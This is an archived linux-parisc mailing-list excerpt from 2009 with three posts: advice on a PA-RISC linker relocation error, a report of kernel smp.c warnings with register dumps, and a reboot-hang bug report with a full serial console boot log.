Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1405
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1405>

> but I still can not build kernel.
> 
>    ld    -r -o init/built-in.o init/main.o init/version.o
> init/mounts.o init/noinitramfs.o init/calibrate.o
>   ld  --build-id -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
> arch/parisc/kernel/head.o   init/built-in.o --start-group
> usr/built-in.o  arch/parisc/mm/built-in.o
> arch/parisc/kernel/built-in.o  arch/parisc/math-emu/built-in.o
> arch/parisc/kernel/init_task.o  kernel/built-in.o  mm/built-in.o
> fs/built-in.o  ipc/built-in.o  security/built-in.o  crypto/built-in.o
> block/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `gcc
> -print-libgcc-file-name`  lib/built-in.o  arch/parisc/lib/built-in.o
> `gcc -print-libgcc-file-name`  drivers/built-in.o  sound/built-in.o
> firmware/built-in.o  net/built-in.o --end-group
> ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot reach
> 000000b2_b2:46+4068, recompile with -ffunction-sections
> ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot handle
> R_PARISC_PCREL12F for .text
> 
> I have recompiled kernel with -ffunction-sections, but still the same problem.

The branch target is out of range.  The message "recompile with
-ffunction-sections" is somewhat misleading in this case.

-ffunction-sections won't work because GCC doesn't generate calls
with instructions that would use a R_PARISC_PCREL12F relocation.
This is some kind of conditional branch.  Probably, it's in some
kernel assembly code.

You need to use nm, objdump and/or readelf to determine which file
contributing to built-in.o contains the branch.  I looked in one of
my builds and didn't see this relocation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.29-rc8: Badness at kernel/smp.c:329
Date: Wed, 18 Mar 2009 20:27:47 +0300
Lines: 89
Approved: news@gmane.org
Message-ID: <a4423d670903181027r5370c246x9aed7055403c1c28@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237397776 31946 80.91.229.12 (18 Mar 2009 17:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2009 17:36:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 18:37:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ljzhd-0007q1-K2
	for glpp-linux-parisc@gmane.org; Wed, 18 Mar 2009 18:37:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752421AbZCRRfN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2009 13:35:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752614AbZCRRfM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Mar 2009 13:35:12 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:53015 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752421AbZCRRfL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2009 13:35:11 -0400
X-Greylist: delayed 440 seconds by postgrey-1.27 at vger.kernel.org; Wed, 18 Mar 2009 13:35:10 EDT
Original-Received: by ewy9 with SMTP id 9so129349ewy.37
        for <linux-parisc@vger.kernel.org>; Wed, 18 Mar 2009 10:35:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=UYT3hrfE5P7iVHZ5ynWIdyiyF+Xuj/IyqxIfsFFIJvg=;
        b=NGJxD+bdeiJsMpKIYd/s9Ppas+YeBvEYmX/vmuafFZ6tQGO0aBGDpn7QfNXAxcZ38A
         urtXihWjRvhk+GKMmdu/OHo4aL1TPfpF/uM5jLhTFikEkZBb+NQ5HMupUUxssECUegwF
         7xi923vJgb1AN4FnYpJUVp6wvTG42+Ot0VdSI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=P98jt0jmzl1VGk1q5/UWSJr1z6U8KSEO+ZRhCDlfvH2xwLFTOKL0Hl78Oj/FmbMv2G
         TOE26cZiQFQM612xd7s0e4QpjnnY9Sk9ZymNTxW9M8hyKAJxwO9oywKA+IlY+7Pe2819
         4i8aKom+tI1aCbDFVQETgg/RJGFPe9PPGMRtc=
Original-Received: by 10.210.65.15 with SMTP id n15mr5579458eba.94.1237397267478; Wed, 
	18 Mar 2009 10:27:47 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1406
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1406>

Hi

Ok, I have finally built the kernel, thanks to all.
Machine has two PA8700 CPUs.
kernel is 32bit

2.6.29-rc8-00174-gee568b2:

 Freeing unused kernel memory: <0>------------[ cut here ]------------
 Badness at kernel/smp.c:329

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
 PSW: 00000000000001001111011100001110 Not tainted
 r00-03  0004f70e 1058be90 101644f4 10547e90
 r04-07  101004d8 00000000 104eb0e8 101004d8
 r08-11  00000000 00000001 10507548 105c3180
 r12-15  ef821430 00000001 ef844090 1053e840
 r16-19  104eae98 105c3180 10541bc0 105c4000
 r20-23  00000000 105c4000 00000000 00000001
 r24-27  00000000 101004d8 104eb0e8 104eae90
 r28-31  0000000e 00000000 ef8242c0 00800480
 sr00-03  00000000 00000000 00000000 00000000
 sr04-07  00000000 00000000 00000000 00000000

 IASQ: 00000000 00000000 IAOQ: 101644c0 101644c4
  IIR: 03ffe01f    ISR: 1024037e  IOR: 09024260
  CPU:        0   CR30: ef824000 CR31: 40002008
  ORIG_R28: 00000001
  IAOQ[0]: smp_call_function_many+0x2d4/0x2e0
  IAOQ[1]: smp_call_function_many+0x2d8/0x2e0
  RP(r2): smp_call_function+0x28/0x38
 Backtrace:
  [<101644f4>] smp_call_function+0x28/0x38
  [<105a4e90>] _einittext+0x0/0x10
  [<101644f4>] smp_call_function+0x28/0x38
  [<10142968>] on_each_cpu+0x1c/0x50
  [<10116e64>] free_initmem+0x60/0x1d0
  [<10116624>] init_post+0x1c/0x198

 ------------[ cut here ]------------
 Badness at kernel/smp.c:226

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
 PSW: 00000000000001001111111100001110 Tainted: G        W
 r00-03  0004ff0e 10507e90 101644f4 00000001
 r04-07  00000000 101004d8 00000000 105c4000
 r08-11  105a4ea0 105a4e90 10507548 105c3180
 r12-15  ef821430 00000001 ef844090 1053e840
 r16-19  104eae98 105c3180 10541bc0 0000000e
 r20-23  00000002 104eb0e8 0000001e 00000001
 r24-27  00000000 101004d8 00000001 104eae90
 r28-31  ef824000 00000000 ef8242c0 00000001
 sr00-03  00000000 00000000 00000000 00000000
 sr04-07  00000000 00000000 00000000 00000000

 IASQ: 00000000 00000000 IAOQ: 10164138 1016413c
  IIR: 03ffe01f    ISR: 1024037e  IOR: 09024264
  CPU:        0   CR30: ef824000 CR31: 40002008
  ORIG_R28: 00000001
  IAOQ[0]: smp_call_function_single+0xa0/0x154
  IAOQ[1]: smp_call_function_single+0xa4/0x154
  RP(r2): smp_call_function+0x28/0x38
 Backtrace:
  [<101644f4>] smp_call_function+0x28/0x38
  [<1016a6e0>] __irq_set_trigger+0xa4/0xdc
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0
  [<101642a8>] smp_call_function_many+0xbc/0x2e0

 224k freed


Kernel continues working after that.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@ut.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: hang/panic on reboot (was: unwind)
Date: Thu, 19 Mar 2009 02:33:13 +0200 (EET)
Lines: 521
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0903190225350.15071@math.ut.ee>
References: <Pine.SOC.4.64.0903181515460.4740@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1237422814 20112 80.91.229.12 (19 Mar 2009 00:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Mar 2009 00:33:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 19 01:34:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lk6Dg-00036W-KY
	for glpp-linux-parisc@gmane.org; Thu, 19 Mar 2009 01:34:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753992AbZCSAdT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2009 20:33:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754454AbZCSAdT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Mar 2009 20:33:19 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:52650 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753992AbZCSAdR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2009 20:33:17 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 6574D73D622
	for <linux-parisc@vger.kernel.org>; Thu, 19 Mar 2009 02:33:13 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 3DDF8FD7A1; Thu, 19 Mar 2009 02:33:13 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 276F6FD79B
	for <linux-parisc@vger.kernel.org>; Thu, 19 Mar 2009 02:33:13 +0200 (EET)
In-Reply-To: <Pine.SOC.4.64.0903181515460.4740@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1407>

(talk about todays 2.6.29-rc8+git)

> [    0.000000] Linux version 2.6.29-rc8 (mroos@sidrun) (gcc version 4.3.2 (GCC) ) #1 Tue Mar 17 19:03:54 EET 2009
> [    0.000000] unwind_init: start = 0x403f5e24, end = 0x4041b7f4, entries = 9629
> [    0.000000] WARNING: Out of order unwind entry! 00000000403f7904 and 00000000403f7914
> [    0.000000] WARNING: Out of order unwind entry! 00000000403f7914 and 00000000403f7924
> [    0.000000] FP[0] enabled: Rev 1 Model 16
> [    0.000000] The 64-bit Kernel has started...

It appears there is one serious problem too - hang/panic on reboot when 
killing all processes. Usually it starts spewing out rsyslog illegal 
instruction messages in the loop. Sometimes RCU stall detector chimes in 
periodically, this time I got a panic mentioning unwind. Also, 
"Backtrace:" is mentioned twice (seems strange too).

The RCU stall messages from another boot) look like this:

[42949569.530000] INFO: RCU detected CPU 0 stall (t=4294956953/1000 jiffies)
[42949569.530000] Backtrace:
[42949569.530000]  [<0000000040116ef4>] show_stack+0x14/0x20
[42949569.530000]  [<0000000040111558>] dump_stack+0x18/0x28
[42949569.530000]  [<000000004016e3d4>] __rcu_pending+0x74/0x208
[42949569.530000]  [<000000004016e58c>] rcu_pending+0x24/0x68
[42949569.530000]  [<000000004014808c>] update_process_times+0x54/0xb8
[42949569.530000]  [<0000000040118190>] timer_interrupt+0x158/0x1b0
[42949569.530000]  [<000000004016b1b0>] handle_IRQ_event+0x60/0xc0
[42949569.530000]  [<000000004016b2b8>] __do_IRQ+0xa8/0x1e8
[42949569.530000]  [<00000000401185e8>] do_cpu_irq_mask+0xf8/0x140
[42949569.530000]  [<0000000040104074>] intr_return+0x0/0x4

Please CC: since I'm not subscribed to linux-parisc.


Full serial console log:

-------------------------------------------------------------------------------------

Firmware Version  40.32

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :     655360  KB
  Good Memory Required        :       8300  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Trying Primary Boot Path
------------------------
Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32     156   83 ext2
5             157    6832   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 5788910 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 3842048 mediaptr 0x1000
Segment 1 load 0050c000 size 344688 mediaptr 0x3ab000
Segment 2 load 00564000 size 131206 mediaptr 0x400000
Loading ramdisk 6346283 bytes @ 279e1000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Linux version 2.6.29-rc8 (mroos@sidrun) (gcc version 4.3.3 (GCC) ) #1 Wed Mar 18 17:30:24 EET 2009
[    0.000000] unwind_init: start = 0x403f5e24, end = 0x4041b804, entries = 9630
[    0.000000] WARNING: Out of order unwind entry! 00000000403f78d4 and 00000000403f78e4
[    0.000000] WARNING: Out of order unwind entry! 00000000403f78e4 and 00000000403f78f4
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005d60 00000491 00000000 00000001 45800c68 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000300
[    0.000000] CPUID vers 17 rev 10 (0x0000022a)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/A400-44
[    0.000000] Total Memory: 640 MB
[    0.000000] initrd: 679e1000-67fee62b
[    0.000000] initrd: reserving 279e1000-27fee62b (mem_max 28000000)
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 161600
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] RCU-based detection of stalled CPUs is enabled.
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[42949372.960000] Console: colour dummy device 160x64
[42949373.090000] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
[42949373.110000] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes)
[42949373.320000] Memory: 632320k/655360k available (2491k kernel code, 22732k reserved, 1212k data, 132k init)
[42949373.330000] virtual kernel memory layout:
[42949373.330000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[42949373.330000]     memory  : 0x0000000040000000 - 0x0000000068000000   ( 640 MB)
[42949373.330000]       .init : 0x0000000040564000 - 0x0000000040585000   ( 132 kB)
[42949373.330000]       .data : 0x000000004036edf0 - 0x000000004049e000   (1212 kB)
[42949373.330000]       .text : 0x0000000040100000 - 0x000000004036edf0   (2491 kB)
[42949373.940000] Calibrating delay loop... 878.18 BogoMIPS (lpj=4390912)
[42949374.210000] Security Framework initialized
[42949374.220000] Mount-cache hash table entries: 256
[42949374.230000] net_namespace: 1856 bytes
[42949374.240000] NET: Registered protocol family 16
[42949374.250000] Searching for devices...
[42949374.380000] Found devices:
[42949374.380000] 1. Crescendo DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5d6, 0x00004 }
[42949374.390000] 2. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
[42949374.400000] 3. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[42949374.400000] 4. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[42949374.410000] 5. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         OFF       OFF        ON
LED State: Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
 done
[42949376.760000] Freeing initrd memory: 6197k freed
[42949376.760000] Chassis warnings not supported.
[42949376.780000] Performance monitoring counters enabled for Crescendo DC- 440
[42949376.790000] VFS: Disk quotas dquot_6.5.2
[42949376.800000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[42949376.810000] msgmni has been set to 1247
[42949376.820000] alg: No test for stdrng (krng)
[42949376.830000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[42949376.850000] io scheduler noop registered
[42949376.860000] io scheduler anticipatory registered
[42949376.870000] io scheduler deadline registered
[42949376.870000] io scheduler cfq registered (default)
[42949376.890000] PDC Stable Storage facility v0.30
[42949377.460000] STI GSC/PCI core graphics driver Version 0.9a
[42949377.480000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[42949377.490000] serial 0000:00:04.0: enabling device (0146 -> 0147)
[42949377.510000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 21) is a 16550A
[42949377.520000] console handover: boot [ttyB0] -> real [ttyS0]
[42949377.530000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 21) is a 16550A
[42949377.560000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 21) is a 16550A
[42949377.570000] serial 0000:00:05.0: enabling device (0000 -> 0003)
[42949377.590000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
[42949377.690000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 22) is a 16550A
[42949377.710000] Couldn't register serial port 0000:00:05.0: -28
[42949377.830000] mice: PS/2 mouse device common for all mice
[42949377.970000] rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
[42949377.980000] TCP cubic registered
[42949378.110000] NET: Registered protocol family 17
[42949378.120000] registered taskstats version 1
[42949378.260000] rtc-parisc rtc-parisc: setting system clock to 2009-03-18 23:59:53 UTC (1237420793)
[42949378.270000] Freeing unused kernel memory: 132k freed
[42949378.400000] Write protecting th
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       OFF        ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
[42949379.450000] SCSI subsystem initialized
[42949379.480000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[42949379.490000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
[42949379.510000] tulip0: no phy info, aborting mtable build
[42949379.520000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
[42949379.540000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:30:6e:06:d4:2f, IRQ 17.
[42949379.640000] sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
[42949379.660000] sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
[42949379.720000] sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 18
[42949380.180000] sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[42949380.190000] sym0: SCSI BUS has been reset.
[42949380.200000] scsi0 : sym-2.2.3
[42949387.670000] sym53c8xx 0000:00:01.1: enabling device (0146 -> 0147)
[42949387.730000] sym1: <896> rev 0x7 at pci 0000:00:01.1 irq 19
[42949387.730000] sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[42949387.750000] sym1: SCSI BUS has been reset.
[42949387.760000] sym1: SCSI BUS mode change from SE to SE.
[42949387.770000] sym1: SCSI BUS has been reset.
[42949387.790000] scsi1 : sym-2.2.3
[42949395.380000] scsi 1:0:15:0: Direct-Access     SEAGATE  ST336704LC       HP01 PQ: 0 ANSI: 3
[42949395.390000] scsi target1:0:15: tagged command queuing enabled, command queue depth 16.
[42949395.410000] scsi target1:0:15: Beginning Domain Validation
[42949395.430000] scsi target1:0:15: asynchronous
[42949395.440000] scsi target1:0:15: wide asynchronous
[42949395.450000] scsi target1:0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 31)
[42949395.460000] scsi target1:0:15: Domain Validation skipping write tests
[42949395.470000] scsi target1:0:15: Ending Domain Validation
[42949395.480000] sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)
[42949395.490000] sym53c8xx 0000:00:02.0: enabling SERR and PARITY (0003 -> 0143)
[42949395.570000] sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 19
[42949395.750000] sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
[42949395.760000] sym2: SCSI BUS has been reset.
[42949395.800000] scsi2 : sym-2.2.3
[42949403.240000] sym53c8xx 0000:00:02.1: enabling device (0000 -> 0003)
[42949403.250000] sym53c8xx 0000:00:02.1: enabling SERR and PARITY (0003 -> 0143)
[42949403.320000] sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 20
[42949403.410000] sym3: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
[42949403.420000] sym3: SCSI BUS has been reset.
[42949403.430000] scsi3 : sym-2.2.3
[42949410.540000] scsi 3:0:15:0: Direct-Access     SEAGATE  ST336704LC       HP01 PQ: 0 ANSI: 3
[42949410.540000] scsi target3:0:15: tagged command queuing enabled, command queue depth 16.
[42949410.550000] scsi target3:0:15: Beginning Domain Validation
[42949410.580000] scsi target3:0:15: asynchronous
[42949410.590000] scsi target3:0:15: wide asynchronous
[42949410.600000] scsi target3:0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
[42949410.610000] scsi target3:0:15: Domain Validation skipping write tests
[42949410.620000] scsi target3:0:15: Ending Domain Validation
[42949410.700000] Driver 'sd' needs updating - please use bus_type methods
[42949410.720000] sd 1:0:15:0: [sda] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949410.730000] sd 1:0:15:0: [sda] Write Protect is off
[42949410.740000] sd 1:0:15:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949410.940000] sd 1:0:15:0: [sda] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949411.010000] sd 1:0:15:0: [sda] Write Protect is off
[42949411.020000] sd 1:0:15:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949411.150000]  sda: sda1 sda2 sda3 < sda5 sda6 sda7 >
[42949411.310000] sd 1:0:15:0: [sda] Attached SCSI disk
[42949411.330000] sd 3:0:15:0: [sdb] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949411.430000] sd 3:0:15:0: [sdb] Write Protect is off
[42949411.440000] sd 3:0:15:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949411.570000] sd 3:0:15:0: [sdb] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
[42949411.710000] sd 3:0:15:0: [sdb] Write Protect is off
[42949411.720000] sd 3:0:15:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[42949411.860000]  sdb: unknown partition table
[42949411.990000] sd 3:0:15:0: [sdb] Attached SCSI disk
done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Running /scripts/local-premount ... done.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future releas[42949412.860000] EXT3-fs: INFO: recovery required on readonly filesystem.
e.
[42949412.880000] EXT3-fs: write access will be enabled during recovery.
[42949415.290000] kjournald starting.  Commit interval 5 seconds
[42949415.300000] EXT3-fs: recovery complete.
[42949415.320000] EXT3-fs: mounted filesystem with ordered data mode.
Begin: Running /scripts/local-bottom ... done.
done.
Begin: Running /scripts/init-bottom ... done.
modprobe: WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.

modprobe: WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.

modprobe: WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.

INIT: version 2.86 booting
Starting the hotplug events dispatcher: udevd[42949417.370000] udevd version 125 started
.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...done.
Setting parameters of disc: (none).
Setting the system clock.
Activating swap...[42949421.330000] Adding 979924k swap on /dev/sda6.  Priority:-1 extents:1 across:979924k 
done.
Checking root file system...fsck 1.41.3 (12-Oct-2008)
/dev/sda5: clean, 30344/427392 files, 229293/1708906 blocks
done.
[42949421.670000] EXT3 FS on sda5, internal journal
Setting the system clock.
Cleaning up ifupdown....
Loading kernel modules...[42949422.900000] loop: module loaded
done.
Checking file systems...fsck 1.41.3 (12-Oct-2008)
/dev/sda2 was not cleanly unmounted, check forced.
/dev/sda2: |==                                                      |  4.4%   /dev/sda2: |==========                                              / 17.5%   /dev/sda2: |===============                                         - 26.2%   /dev/sda2: |======================                                  \ 39.4%   /dev/sda2: |================================                        | 56.9%   /dev/sda2: |=====================================================   / 94.6%   /dev/sda2: |======================================================= - 97.7%   /dev/sda2: |========================================================| 100.0%                                                                                  /dev/sda2: 24/64256 files (20.8% non-contiguous), 40455/128520 blocks
/dev/sda7: recovering journal
/dev/sda7: clean, 39381/1725136 files, 381924/6895893 blocks
fsck died with exit status 1
done.
Setting kernel variables (/etc/sysctl.conf)...done.
Mounting local filesystems...modprobe: WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.

modprobe: WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.

modprobe: WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.

[42949428.950000] kjournald starting.  Commit interval 5 seconds
[42949428.960000] EXT3 FS on sda7, internal journal
[42949428.960000] EXT3-fs: mounted filesystem with ordered data mode.
done.
Activating swapfile swap...done.
Setting up resolvconf...done.
Setting up networking....
Configuring network interfaces...done.
Setting console screen modes and fonts.
Mounted debugfs on /sys/kernel/debug.
INIT: Entering runlevel: 2
Starting enhanced syslogd: rsyslogd.
